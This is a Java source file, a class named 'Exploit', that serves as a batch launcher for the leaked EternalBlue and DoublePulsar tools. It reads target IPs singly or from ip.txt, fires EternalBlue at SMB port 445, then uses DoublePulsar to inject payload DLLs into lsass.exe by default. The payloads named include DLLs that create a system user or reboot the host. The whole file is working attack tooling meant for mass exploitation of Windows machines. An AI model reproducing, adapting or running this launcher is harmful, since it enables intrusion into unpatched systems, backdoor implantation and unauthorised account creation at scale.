import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import java.net.URL;

/**
 * Created by 1135 on 2017/5/3.
 */
public class Exploit {

    public void runCMD(String command) throws Exception {
        Process p = Runtime.getRuntime().exec("cmd /c cmd.exe /c " + command + " exit");//cmd /c dir   执行完dir命令后关闭窗口。


        //runCMD_bat("C:\\1.bat");/调用
        //Process p = Runtime.getRuntime().exec("cmd /c start cmd.exe /c " + path + " exit");//显示窗口 打开一个新窗口后执行dir指令（原窗口会关闭）


        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String readLine = br.readLine();
        while (readLine != null) {
            readLine = br.readLine();
            System.out.println(readLine);
        }
        if (br != null) {
            br.close();
        }
        p.destroy();
        p = null;
    }





    public void EBexp_function() {




        URL url = getClass().getProtectionDomain().getCodeSource().getLocation();
        File myfile = null;
        try {
            myfile = new File(url.toURI());
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
        File dir = myfile.getParentFile(); //jar文件所在的绝对目录





        String ip = null;
        String port = null;
        String TargetOS = null;
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

        try {

            //ip
            System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):");
            ip = br.readLine();
            //在命令执行前判断



            //port
            System.out.println("input TargetPort(Default:445):");
            port = br.readLine();
            if (port.equals("")) port = "445";
            //port为空，则设置为445  否则则为用户输入的值

            //TargetOS
            System.out.println("input TargetOS(Default:WIN72K8R2 other:XP):");
            TargetOS = br.readLine();
            if (TargetOS.equals("")) TargetOS = "WIN72K8R2";


            //files文件夹内放着nsa工具
            //dlls文件夹里放着攻击载荷 x86／x64  dll文件
            //logs文件夹里放着命令执行结果  格式为EB/DP_ip_port.txt 如EB_192.168.0.1_445.txt


            if (ip.equals("list")||ip.equals("")) {
                /**
                 * 一行一行读取文件，适合字符读取，若读取中文字符时会出现乱码
                 *流的关闭顺序：先打开的后关，后打开的先关， 否则有可能出现java.io.IOException: Stream closed异常
                 */

                try {

                    //System.out.println(dir);

                    File file = new File(dir+File.separator+"ip.txt");
                    String tempString = null;

                    BufferedReader reader = null;
                    try {//以行为单位读取文件内容，一次读一整行
                        reader = new BufferedReader(new FileReader(file));
                        int line = 1;
                        // 一次读入一行，直到读入null为文件结束
                        while ((tempString = reader.readLine()) != null) {
                            // 显示行号

                            tempString = tempString.trim();
                            System.out.println(line + " CurrentIP "  + tempString);
                            System.out.println(tempString);
                            String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig " + dir+File.separator+"files"+File.separator +"Eternalblue-2.2.0.xml"+ " --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+"EB_" + tempString + "_" + port + ".txt" + " --Target " + TargetOS;

                            System.out.println(EBexpCommand);
                            runCMD(EBexpCommand);
                            line++;
                        }
                        reader.close();
                    } catch (Exception e) {
                    }
                    finally {
                        if (reader != null) {
                            try {
                                reader.close();
                            } catch (Exception e)
                            {
                            }
                        }
                    }



                }
                catch(Exception e) {
                    e.printStackTrace();
                }

            } else {

                String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig files\\Eternalblue-2.2.0.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " +dir+File.separator+"logs" +File.separator+"EB_" + ip + "_" + port + ".txt" + " --Target " + TargetOS;
                System.out.println(EBexpCommand);
                runCMD(EBexpCommand);
            }


        } catch (Exception e) {
        }
    }






    public void DPexp_function() {


        URL url = getClass().getProtectionDomain().getCodeSource().getLocation();
        File myfile = null;
        try {
            myfile = new File(url.toURI());
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
        File dir = myfile.getParentFile(); //jar文件所在的绝对目录

        String networkTimeout = null;
        String ip = null;
        String port = null;
        String protocol = null;
        String architecture = null;
        String function = null;
        String payload = null;
        String dllordinal = null;
        String processName = null;
        String processCommandLine =null;



        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

        try {
            //ip
            System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):");
            ip = br.readLine();
            //在命令执行前判断

            //port
            System.out.println("input TargetPort(Default:445):");
            port = br.readLine();
            if (port.equals("")) port = "445";
            //port为空，则设置为445  否则则为用户输入的值

            //protocol
            System.out.println("input protocol(Default:SMB other:RDP):");
            protocol = br.readLine();
            if (protocol.equals("")) protocol = "SMB";

            //architecture
            System.out.println("input architecture(Default:x64 other:x86):");
            architecture = br.readLine();
            if (architecture.equals("")) architecture = "x64";

            //Function
            System.out.println("input Function(Default:RunDll): \n other:\nPing(Check whether the backdoor is installed)" +
                    "\nOutPutInstall（Generate a shellcode）" +
                    "\nRunShellcode" +
                    "Uninstall");

            function = br.readLine();
            if (function.equals("")) function = "RunDLL";

            //payload
            System.out.println("input payloadDllname(Default:x64createSysUser.dll other: X64reboot.dll X86reboot.dll x64createSysUser.dll x86createSysUser.dll your.dll):");
            payload = br.readLine();
            if (payload.equals("")) payload = "x64createSysUser.dll";

            //payloadDllOrdinal 默认1 : The exported ordinal number of the DLL being injected to call
            System.out.println("input payloadDllOrdinal(Default:1):");
            dllordinal = br.readLine();
            if (dllordinal.equals("")) dllordinal = "1";

            //ProcessName :: Name of process to inject into
            System.out.println("input ProcessName to inject into (Default:lsass.exe other:explorer.exe svchost.exe ):");
            processName = br.readLine();
            if (processName.equals("")) processName = "lsass.exe";

            //ProcessCommandLine :: Command line of process to inject into
            System.out.println("input ProcessCommandLine :: Command line of process to inject into (Default:\"\"):");
            processCommandLine = br.readLine();
            if (processCommandLine.equals("")) processCommandLine = "\"\"";

            //NetworkTimeout
            System.out.println("input NetworkTimeout(Default 60):");
            networkTimeout = br.readLine();
            if (networkTimeout.equals("")) networkTimeout = "60";

            if (ip.equals("list")||ip.equals("")) {
                /**
                 * 一行一行读取文件，适合字符读取，若读取中文字符时会出现乱码
                 *流的关闭顺序：先打开的后关，后打开的先关， 否则有可能出现java.io.IOException: Stream closed异常
                 */

                try {

                    //System.out.println(dir);

                    File file = new File(dir+File.separator+"ip.txt");
                    BufferedReader reader = null;
                    try {//以行为单位读取文件内容，一次读一整行
                        reader = new BufferedReader(new FileReader(file));
                        String tempString = null;
                        int line = 1;
                        // 一次读入一行，直到读入null为文件结束
                        while ((tempString = reader.readLine()) != null) {
                            // 显示行号
                            System.out.println(line + " CurrentIP "  + tempString);

                            String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + tempString + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout;
                            System.out.println(DPexpCommand);
                            runCMD(DPexpCommand);

                            line++;
                        }
                        reader.close();
                    } catch (java.io.FileNotFoundException e)
                    {
                        System.err.println("Can't find file ip.txt in jar file directory.");
                    }
                    catch (Exception e) {
                        e.printStackTrace();
                    }
                    finally {
                        if (reader != null) {
                            try {
                                reader.close();
                            } catch (Exception e)
                            {
                            }
                        }
                    }


                }
                catch(Exception e) {
                    e.printStackTrace();
                }

            } else {

                //System.out.println(networkTimeout+ip+port+processCommandLine+protocol);

                            /*
                            String networkTimeout = null;
                            String ip = null;
                            String port = null;
                            String protocol = null;
                            String architecture = null;
                            String function = null;
                            String payload = null;
                            String dllordinal = null;
                            String processName = null;
                            String processCommandLine =null;
                            */



                String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + ip + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout;
                System.out.println(DPexpCommand);
                runCMD(DPexpCommand);
            }

        } catch (Exception e)

        {
        }

        //System.out.println(new Date());
        //runCMD_bat(DPexpCommand);
        //System.out.println(new Date());
    }
}